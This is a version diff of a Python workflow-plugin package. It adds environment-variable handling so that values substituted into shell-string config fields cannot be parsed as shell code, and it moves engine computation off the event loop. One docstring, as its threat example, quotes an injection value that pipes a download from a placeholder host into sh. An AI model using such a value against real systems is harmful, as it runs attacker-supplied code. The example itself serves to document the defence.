dirigent-plugin 0.16.2__tar.gz → 0.16.4__tar.gz

{dirigent_plugin-0.16.2 → dirigent_plugin-0.16.4}/PKG-INFO

@@ -1,10 +1,10 @@
 Metadata-Version: 2.4
 Name: dirigent-plugin
-Version: 0.16.2
+Version: 0.16.4
 Summary: The dirigent plugin contract: block specs, protocols, and markers.
 License-Expression: LicenseRef-Proprietary
 License-File: LICENSE
-Requires-Dist: dirigent-common==0.16.2
+Requires-Dist: dirigent-common==0.16.4
 Requires-Dist: httpx2>=2.12.0
 Requires-Dist: pluginkit>=0.5.0
 Requires-Dist: pydantic>=2.13.5

{dirigent_plugin-0.16.2 → dirigent_plugin-0.16.4}/pyproject.toml

@@ -1,13 +1,13 @@
 [project]
 name = "dirigent-plugin"
-version = "0.16.2"
+version = "0.16.4"
 description = "The dirigent plugin contract: block specs, protocols, and markers."
 readme = "README.md"
 requires-python = ">=3.13"
 license = "LicenseRef-Proprietary"
 license-files = ["LICENSE"]
 dependencies = [
-    "dirigent-common==0.16.2",
+    "dirigent-common==0.16.4",
     "httpx2>=2.12.0",
     "pluginkit>=0.5.0",
     "pydantic>=2.13.5",

{dirigent_plugin-0.16.2 → dirigent_plugin-0.16.4}/pyproject.toml.orig

@@ -1,13 +1,13 @@
 [project]
 name = "dirigent-plugin"
-version = "0.16.2"
+version = "0.16.4"
 description = "The dirigent plugin contract: block specs, protocols, and markers."
 readme = "README.md"
 requires-python = ">=3.13"
 license = "LicenseRef-Proprietary"
 license-files = ["LICENSE"]
 dependencies = [
-    "dirigent-common==0.16.2",
+    "dirigent-common==0.16.4",
     "httpx2>=2.12.0",
     "pluginkit>=0.5.0",
     "pydantic>=2.13.5",

{dirigent_plugin-0.16.2 → dirigent_plugin-0.16.4}/src/dirigent_plugin/__init__.py

@@ -2,6 +2,8 @@
 
 from dirigent_plugin.blocks import (
     BLOCK_ID_PATTERN,
+    SHELL_VARIABLE_PREFIX,
+    SHELL_VARIABLES_FIELD,
     SURFACE_ID_PATTERN,
     AlertMessage,
     AnyOperator,
@@ -29,6 +31,7 @@ from dirigent_plugin.blocks import (
     Sensor,
     SensorSpec,
     ShellString,
+    ShellVariables,
     StartedRun,
     StatResult,
     StepContext,
@@ -51,6 +54,7 @@ from dirigent_plugin.transforms import (
     ConvertConfig,
     Converter,
     ConvertOutput,
+    Engine,
     Filterer,
     Mapper,
     ProgramConfig,
@@ -74,6 +78,7 @@ __all__ = [
     "ConvertOutput",
     "Converter",
     "ENTRY_POINT_GROUP",
+    "Engine",
     "ErrorClass",
     "Filterer",
     "FormatCheck",
@@ -96,7 +101,10 @@ __all__ = [
     "SURFACE_ID_PATTERN",
     "Sensor",
     "SensorSpec",
+    "SHELL_VARIABLES_FIELD",
+    "SHELL_VARIABLE_PREFIX",
     "ShellString",
+    "ShellVariables",
     "StartedRun",
     "StatResult",
     "StepContext",

{dirigent_plugin-0.16.2 → dirigent_plugin-0.16.4}/src/dirigent_plugin/blocks.py

@@ -6,16 +6,16 @@ from contextlib import AbstractAsyncContextManager
 from datetime import datetime, timedelta
 from enum import StrEnum
 from pathlib import Path
-from typing import Any, ClassVar, Protocol, cast
+from typing import Annotated, Any, ClassVar, Final, Protocol, cast
 from uuid import UUID
 
 import httpx2
 from jsonschema import FormatChecker
 from pydantic import BaseModel, ConfigDict, Field, GetJsonSchemaHandler, JsonValue, field_validator, model_validator
-from pydantic.json_schema import JsonSchemaValue
+from pydantic.json_schema import JsonSchemaValue, SkipJsonSchema
 from pydantic_core import CoreSchema
 
-from dirigent_common import API_VERSION, SHELL_MEDIA_TYPE, HealthReport, JsonMap
+from dirigent_common import API_VERSION, SHELL_MEDIA_TYPE, BlockModel, HealthReport, JsonMap
 
 type RunId = UUID
 
@@ -95,11 +95,16 @@ class ShellString:
     ${params.region}"`` with ``region`` set to ``x; curl evil.sh | sh`` is a shell injection
     reachable by whoever can POST to a webhook.
 
-    Marking the field pushes the knowledge to where the answer is known. The engine quotes
-    every interpolated segment before it lands in the string, so a substituted value is
-    always exactly one shell word regardless of what is in it, while everything the author
-    typed keeps its meaning -- pipes and redirects included, which is the entire reason the
-    shell form exists.
+    Marking the field pushes the knowledge to where the answer is known. The engine keeps
+    every substituted value out of the shell's parser altogether: each ``${...}`` becomes a
+    reference to a variable the engine invents, written so it is one word wherever the author
+    put it, and the values travel to the block in :class:`ShellVariables` for it to set in the
+    command's environment. Everything the author typed keeps its meaning -- pipes and
+    redirects included, which is the entire reason the shell form exists.
+
+    A block whose config carries a marked field takes :class:`ShellVariables` as its base,
+    because the values arrive in that field and a command run without them reads empty
+    variables.
 
     It is a bare class rather than a model: annotation metadata pydantic recognises as a
     model would be read as the field's schema, and this marker must stay invisible to
@@ -127,6 +132,35 @@ class ShellString:
         return published
 
 
+#: What the engine names the variables it substitutes a shell string's references out into.
+SHELL_VARIABLE_PREFIX: Final = "DIRIGENT_V"
+
+#: The config key those values arrive under, which is the field :class:`ShellVariables` declares.
+SHELL_VARIABLES_FIELD: Final = "shell_variables"
+
+#: A name the engine invented, which is the only thing this field may carry.
+_SHELL_VARIABLE_PATTERN: Final = rf"^{SHELL_VARIABLE_PREFIX}[0-9]+$"
+
+
+class ShellVariables(BlockModel):
+    """The base a block config takes when any of its fields is a :class:`ShellString`.
+
+    A shell string reaches the block with every ``${...}`` rewritten to a reference to
+    ``DIRIGENT_V0``, ``DIRIGENT_V1`` and so on, and the values that were substituted out
+    arrive here. The block sets them in the environment of the process it hands the string
+    to, after whatever the document's own ``env`` holds, so a document can neither read a
+    substituted value as shell source nor override what a reference resolved to.
+
+    The field is written by the engine and is not part of the published schema, so a document
+    cannot name it.
+    """
+
+    shell_variables: SkipJsonSchema[dict[Annotated[str, Field(pattern=_SHELL_VARIABLE_PATTERN)], str]] = Field(
+        default_factory=dict[str, str]
+    )
+    """The values the engine substituted out of this config's shell strings, by variable name."""
+
+
 def shell_string_fields(model: type[BaseModel]) -> frozenset[str]:
     """List the config fields a model marked as being parsed by a shell."""
     return frozenset(

{dirigent_plugin-0.16.2 → dirigent_plugin-0.16.4}/src/dirigent_plugin/transforms.py

@@ -17,9 +17,15 @@ step produced and its output is read by a later one; a value comes in from stora
 ``storage.read`` and goes out through ``storage.write``. ``convert`` is the exception,
 because its operand is a storage object rather than a value: it reads one URI and writes
 another, the way ``storage.copy`` does.
+
+An engine computes, and no frame calls one on the event loop: the step's timeout and the
+lease heartbeat are coroutines on that loop, and a worker whose loop is held by a program
+misses both. Every frame hands a step's engine work to ``Engine.offload`` and awaits it.
 """
 
+import asyncio
 from abc import ABC, abstractmethod
+from collections.abc import Callable
 from typing import Any, ClassVar, Final, cast
 
 from pydantic import BaseModel, Field, JsonValue
@@ -100,16 +106,15 @@ class ConvertOutput(BlockModel):
     bytes_written: int
 
 
-class Transformer(Operator[ProgramConfig, TransformOutput], ABC):
-    """The ``transform`` verb: reshape one whole value into another by running a program.
+class Engine(ABC):
+    """What every transform engine is: a name, a line in the catalog, and a place its work runs.
 
-    An engine names its kind, summarises itself in one line, and supplies the two halves of
-    running a program: compiling it, which is also what the apply-time check runs, and
-    applying it to a value. The frame derives the catalog entry and hands the result on as
-    the step's output.
-
-    An engine touches no HTTP, no file outside storage, and nothing in the environment. It
-    is handed a value and returns a value; everything that reaches the world is the frame's.
+    An engine's own methods are synchronous, because reshaping a value is computation and not
+    waiting. Computation on the event loop is what a worker cannot afford: the step's timeout
+    and the lease heartbeat are coroutines on that loop, so a program holding it means the
+    timeout does not fire, the lease is not renewed, and the sweeper hands the attempt to
+    another worker while this one is still running it. Every frame therefore calls an engine
+    through ``offload``, once per step, and awaits the result.
     """
 
     kind: ClassVar[str]
@@ -121,6 +126,30 @@ class Transformer(Operator[ProgramConfig, TransformOutput], ABC):
     local_execution: ClassVar[bool] = False
     """Whether this engine executes code on the worker, which puts it behind the allowlist."""
 
+    async def offload[T](self, work: Callable[[], T]) -> T:
+        """Run one step's engine work off the event loop and hand back what it returned.
+
+        A thread is enough for an engine written in Python, whose interpreter lets the loop
+        run between bytecodes. It is not enough for an engine that computes inside a C
+        extension holding the GIL, and a thread cannot be cancelled either: an engine whose
+        work can be stopped overrides this and stops it when the await is cancelled, the way
+        a database driver is interrupted.
+        """
+        return await asyncio.to_thread(work)
+
+
+class Transformer(Engine, Operator[ProgramConfig, TransformOutput], ABC):
+    """The ``transform`` verb: reshape one whole value into another by running a program.
+
+    An engine names its kind, summarises itself in one line, and supplies the two halves of
+    running a program: compiling it, which is also what the apply-time check runs, and
+    applying it to a value. The frame derives the catalog entry and hands the result on as
+    the step's output.
+
+    An engine touches no HTTP, no file outside storage, and nothing in the environment. It
+    is handed a value and returns a value; everything that reaches the world is the frame's.
+    """
+
     config_model: ClassVar[type[BaseModel]] = ProgramConfig
     output_model: ClassVar[type[BaseModel]] = TransformOutput
 
@@ -150,7 +179,7 @@ class Transformer(Operator[ProgramConfig, TransformOutput], ABC):
     async def execute(self, config: ProgramConfig, ctx: StepContext) -> TransformOutput | RemoteHandle:
         """Run the program over the input value and hand the result on as the step's output."""
         try:
-            result = self.apply(self.compile(config.program), config.input)
+            result = await self.offload(lambda: self.apply(self.compile(config.program), config.input))
         except TransformError as error:
             raise BlockFailure(str(error), error_class=ErrorClass.REJECTED) from error
         return TransformOutput(value=result)
@@ -166,7 +195,7 @@ class Transformer(Operator[ProgramConfig, TransformOutput], ABC):
         return []
 
 
-class Mapper(Operator[ProgramConfig, TransformOutput], ABC):
+class Mapper(Engine, Operator[ProgramConfig, TransformOutput], ABC):
     """The ``map`` verb: replace every element of a list with what a program makes of it.
 
     An engine names its kind, summarises itself in one line, and supplies compiling a
@@ -184,15 +213,6 @@ class Mapper(Operator[ProgramConfig, TransformOutput], ABC):
     frame's.
     """
 
-    kind: ClassVar[str]
-    """The engine's name, which is the second half of the block id."""
-
-    summary: ClassVar[str]
-    """The one line the catalog shows for this engine."""
-
-    local_execution: ClassVar[bool] = False
-    """Whether this engine executes code on the worker, which puts it behind the allowlist."""
-
     config_model: ClassVar[type[BaseModel]] = ProgramConfig
     output_model: ClassVar[type[BaseModel]] = TransformOutput
 
@@ -222,16 +242,20 @@ class Mapper(Operator[ProgramConfig, TransformOutput], ABC):
     async def execute(self, config: ProgramConfig, ctx: StepContext) -> TransformOutput | RemoteHandle:
         """Replace every element of the input list and hand the list on as the step's output."""
         elements = _elements(config.input, self.spec.id, MAP_PROMISE)
-        try:
-            compiled = self.compile(config.program)
-        except TransformError as error:
-            raise BlockFailure(str(error), error_class=ErrorClass.REJECTED) from error
-        mapped = self._map_each(compiled, elements)
+        mapped = await self.offload(lambda: self._mapped(config.program, elements))
         assert len(mapped) == len(elements), (
             f"{self.spec.id} produced {len(mapped)} elements from {len(elements)}, breaking the map promise"
         )
         return TransformOutput(value=mapped)
 
+    def _mapped(self, program: str, elements: list[JsonValue]) -> list[JsonValue]:
+        """Compile the program once and run the loop over it, which is the whole step's work."""
+        try:
+            compiled = self.compile(program)
+        except TransformError as error:
+            raise BlockFailure(str(error), error_class=ErrorClass.REJECTED) from error
+        return self._map_each(compiled, elements)
+
     def _map_each(self, compiled: object, elements: list[JsonValue]) -> list[JsonValue]:
         """Apply the engine once per element, in order, naming the element it refused."""
         mapped: list[JsonValue] = []
@@ -253,7 +277,7 @@ class Mapper(Operator[ProgramConfig, TransformOutput], ABC):
         return []
 
 
-class Filterer(Operator[ProgramConfig, TransformOutput], ABC):
+class Filterer(Engine, Operator[ProgramConfig, TransformOutput], ABC):
     """The ``filter`` verb: keep the elements of a list a program answers true for.
 
     An engine names its kind, summarises itself in one line, supplies compiling a program,
@@ -271,15 +295,6 @@ class Filterer(Operator[ProgramConfig, TransformOutput], ABC):
     frame's.
     """
 
-    kind: ClassVar[str]
-    """The engine's name, which is the second half of the block id."""
-
-    summary: ClassVar[str]
-    """The one line the catalog shows for this engine."""
-
-    local_execution: ClassVar[bool] = False
-    """Whether this engine executes code on the worker, which puts it behind the allowlist."""
-
     config_model: ClassVar[type[BaseModel]] = ProgramConfig
     output_model: ClassVar[type[BaseModel]] = TransformOutput
 
@@ -309,15 +324,20 @@ class Filterer(Operator[ProgramConfig, TransformOutput], ABC):
     async def execute(self, config: ProgramConfig, ctx: StepContext) -> TransformOutput | RemoteHandle:
         """Keep the elements the engine answers true for and hand them on as the step's output."""
         elements = _elements(config.input, self.spec.id, FILTER_PROMISE)
-        try:
-            compiled = self.compile(config.program)
-        except TransformError as error:
-            raise BlockFailure(str(error), error_class=ErrorClass.REJECTED) from error
+        verdicts = await self.offload(lambda: self._verdicts(config.program, elements))
         # The element the frame was given, never anything the engine returned: what a filter
         # keeps is what arrived.
-        kept = [element for index, element in enumerate(elements) if self._verdict(compiled, element, index)]
+        kept = [element for element, verdict in zip(elements, verdicts, strict=True) if verdict]
         return TransformOutput(value=kept)
 
+    def _verdicts(self, program: str, elements: list[JsonValue]) -> list[bool]:
+        """Compile the program once and ask the engine about every element, which is the step's work."""
+        try:
+            compiled = self.compile(program)
+        except TransformError as error:
+            raise BlockFailure(str(error), error_class=ErrorClass.REJECTED) from error
+        return [self._verdict(compiled, element, index) for index, element in enumerate(elements)]
+
     def _verdict(self, compiled: object, element: JsonValue, index: int) -> bool:
         """Ask the engine about one element, refusing an answer that is not a boolean."""
         try:
@@ -344,7 +364,7 @@ class Filterer(Operator[ProgramConfig, TransformOutput], ABC):
         return []
 
 
-class Converter(Operator[ConvertConfig, ConvertOutput], ABC):
+class Converter(Engine, Operator[ConvertConfig, ConvertOutput], ABC):
     """The ``convert`` verb: re-encode bytes from one format into another, content preserved.
 
     A converter is a codec, not a language: there is no program. An engine names its kind,
@@ -356,18 +376,9 @@ class Converter(Operator[ConvertConfig, ConvertOutput], ABC):
     is handed bytes and returns bytes; everything that reaches the world is the frame's.
     """
 
-    kind: ClassVar[str]
-    """The engine's name, which is the second half of the block id."""
-
-    summary: ClassVar[str]
-    """The one line the catalog shows for this engine."""
-
     pairs: ClassVar[frozenset[tuple[str, str]]]
     """Every ``(from, to)`` format pair this engine re-encodes between."""
 
-    local_execution: ClassVar[bool] = False
-    """Whether this engine executes code on the worker, which puts it behind the allowlist."""
-
     config_model: ClassVar[type[BaseModel]] = ConvertConfig
     output_model: ClassVar[type[BaseModel]] = ConvertOutput
 
@@ -396,7 +407,9 @@ class Converter(Operator[ConvertConfig, ConvertOutput], ABC):
             raise BlockFailure(unsupported, error_class=ErrorClass.REJECTED)
         source = await _read(ctx, config.source)
         try:
-            produced = self.convert(source, source_format=config.from_format, target_format=config.to_format)
+            produced = await self.offload(
+                lambda: self.convert(source, source_format=config.from_format, target_format=config.to_format)
+            )
         except TransformError as error:
             raise BlockFailure(str(error), error_class=ErrorClass.REJECTED) from error
         written = await _write(ctx, config.target, produced)